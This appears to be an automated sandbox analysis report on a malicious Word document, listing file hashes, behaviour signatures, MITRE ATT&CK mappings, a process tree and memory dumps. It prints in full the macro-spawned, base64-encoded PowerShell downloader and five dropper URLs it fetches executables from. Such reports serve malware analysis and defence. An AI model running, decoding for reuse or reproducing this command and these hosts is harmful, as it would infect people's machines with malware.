e8ec3c800918f4bf63495f27156ff61e1199b3cce848a83b414dee46f1535cdc

General

Target

Device/HarddiskVolume2/Users/user/Downloads/Attachments 19 G06979262.doc
Size

87KB
MD5

68fdeafc7361bbc3321f3828e902cda6
SHA1

7abacfccb89a75f3faef70b8fc3963eb7bd647c8
SHA256

1ab055b3121ec3823a0a3002eb1fe8f48d5c7f04d9f0e92496165fb2cc1ec9c2
SHA512

340a5ecf9c17cb3798c8e473c9e20297e4dbdf5e85d1acc87daae4f54a34eb76adc288bf76e5efb70ad6f6343033446654a7dd5a6fbe32b62c365410c6f0f4fc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://urbandogscol.com/wp-content/xiqjp4/

exe.dropper

http://spidersheet.com/wp-includes/js/swfupload/k0924/

exe.dropper

http://artoftribalindia.com/wp-content/uploads/r74d6u4/

exe.dropper

https://navinfamilywines.com/alloldfiles.zip/zegkb671/

exe.dropper

https://gabisan-shipping.com/n4mf/syz49i21/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3848	4264	powershell.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

15 3848 powershell.exe
17 3848 powershell.exe
24 3848 powershell.exe
29 3848 powershell.exe
32 3848 powershell.exe

flow	pid	process
15	3848	powershell.exe
17	3848	powershell.exe
24	3848	powershell.exe
29	3848	powershell.exe
32	3848	powershell.exe

Drops file in Program Files directory 18 IoCs

Processes:

WINWORD.EXE

description	ioc	process
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicElegant.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicElegant.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicStylish.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Numbered.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Casual.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$ntered.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicSimple.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicStylish.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWClassic.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWCapitalized.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWNumbered.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Word2013BW.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$rd2013BW.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Casual.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Centered.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicSimple.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Capitalized.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Classic.dotx	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4704 WINWORD.EXE
4704 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3848 powershell.exe
3848 powershell.exe
3848 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3848 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4704 WINWORD.EXE
4704 WINWORD.EXE
4704 WINWORD.EXE
4704 WINWORD.EXE
4704 WINWORD.EXE
4704 WINWORD.EXE
4704 WINWORD.EXE

pid	process
4704	WINWORD.EXE
4704	WINWORD.EXE

pid	process
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3848	powershell.exe

pid	process
4704	WINWORD.EXE
4704	WINWORD.EXE
4704	WINWORD.EXE
4704	WINWORD.EXE
4704	WINWORD.EXE
4704	WINWORD.EXE
4704	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4704 wrote to memory of 480	4704	WINWORD.EXE	splwow64.exe
PID 4704 wrote to memory of 480	4704	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Device\HarddiskVolume2\Users\user\Downloads\Attachments 19 G06979262.doc" /o ""
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4704

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABhAGYARAA4AHoATgA9ACcAVABNAHIANgB3AEUAQQAnADsAJABVAE0AdABfAHoANAB2AFkAIAA9ACAAJwA3ADYANAAnADsAJAByAHEAMwBKAGwAaQBjAD0AJwBXAFIAMwBCADkAWQAnADsAJABDADIAdABCAHcAVwBvAFUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUATQB0AF8AegA0AHYAWQArACcALgBlAHgAZQAnADsAJABjAHcAegBOAGoAaQBGAD0AJwBIAGkAWQBvAF8ARAAnADsAJABHADAAQwBxAEsAOABEAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAGAAZQBUAC4AdwBlAGIAYwBgAEwAYABJAGAARQBuAFQAOwAkAGgAbQBDAGYAaQBFAFkAPQAnAGgAdAB0AHAAOgAvAC8AdQByAGIAYQBuAGQAbwBnAHMAYwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB4AGkAcQBqAHAANAAvAEAAaAB0AHQAcAA6AC8ALwBzAHAAaQBkAGUAcgBzAGgAZQBlAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGoAcwAvAHMAdwBmAHUAcABsAG8AYQBkAC8AawAwADkAMgA0AC8AQABoAHQAdABwADoALwAvAGEAcgB0AG8AZgB0AHIAaQBiAGEAbABpAG4AZABpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AcgA3ADQAZAA2AHUANAAvAEAAaAB0AHQAcABzADoALwAvAG4AYQB2AGkAbgBmAGEAbQBpAGwAeQB3AGkAbgBlAHMALgBjAG8AbQAvAGEAbABsAG8AbABkAGYAaQBsAGUAcwAuAHoAaQBwAC8AegBlAGcAawBiADYANwAxAC8AQABoAHQAdABwAHMAOgAvAC8AZwBhAGIAaQBzAGEAbgAtAHMAaABpAHAAcABpAG4AZwAuAGMAbwBtAC8AbgA0AG0AZgAvAHMAeQB6ADQAOQBpADIAMQAvACcALgBzAHAAbABJAFQAKAAnAEAAJwApADsAJABjAHMAYwBWADYAZgA9ACcAdwBYAFMAZgBMAHUAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAegBiAEYAdgB6AFYAdgAgAGkAbgAgACQAaABtAEMAZgBpAEUAWQApAHsAdAByAHkAewAkAEcAMABDAHEASwA4AEQALgBEAE8AVwBOAEwATwBhAEQARgBJAEwAZQAoACQAegBiAEYAdgB6AFYAdgAsACAAJABDADIAdABCAHcAVwBvAFUAKQA7ACQAWAAwADgAWgBSAEkAegBNAD0AJwB6AEIAbABiAE4AcwA1ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQwAyAHQAQgB3AFcAbwBVACkALgBMAEUATgBnAHQASAAgAC0AZwBlACAAMgA3ADkANgA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBzAFQAQQByAHQAKAAkAEMAMgB0AEIAdwBXAG8AVQApADsAJABCAG8AUwBTADEAawBLAD0AJwBGAFoAOABvADcAaQBGACcAOwBiAHIAZQBhAGsAOwAkAE8AagBxAEoAbQBGAGYAVwA9ACcARAB3AFIAVgAyAEoAcgB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGQAcgA5AF8AdgBNAEEAPQAnAGoANQBJAGkASwBIAEgAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/480-7-0x0000000000000000-mapping.dmp

Download
memory/480-8-0x0000000002C70000-0x0000000002D71000-memory.dmp

Filesize
1.0MB

Download
memory/3848-12-0x00000142A6260000-0x00000142A6261000-memory.dmp

Filesize
4KB

Download
memory/3848-10-0x00007FF847F50000-0x00007FF84893C000-memory.dmp

Filesize
9.9MB

Download
memory/3848-15-0x000001428D996000-0x000001428D998000-memory.dmp

Filesize
8KB

Download
memory/3848-14-0x000001428D993000-0x000001428D995000-memory.dmp

Filesize
8KB

Download
memory/3848-13-0x000001428D990000-0x000001428D992000-memory.dmp

Filesize
8KB

Download
memory/3848-11-0x00000142A60B0000-0x00000142A60B1000-memory.dmp

Filesize
4KB

Download
memory/4704-9-0x0000027D1A6B0000-0x0000027D1A6B4000-memory.dmp

Filesize
16KB

Download
memory/4704-17-0x00007FF850470000-0x00007FF852F93000-memory.dmp

Filesize
43.1MB

Download
memory/4704-2-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-3-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-4-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-6-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-16-0x00007FF850470000-0x00007FF852F93000-memory.dmp

Filesize
43.1MB

Download
memory/4704-5-0x00007FF853020000-0x00007FF853657000-memory.dmp

Filesize
6.2MB

Download
memory/4704-18-0x00007FF850470000-0x00007FF852F93000-memory.dmp

Filesize
43.1MB

Download
memory/4704-19-0x00007FF850470000-0x00007FF852F93000-memory.dmp

Filesize
43.1MB

Download
memory/4704-20-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-21-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-22-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download
memory/4704-23-0x00007FF82F820000-0x00007FF82F830000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads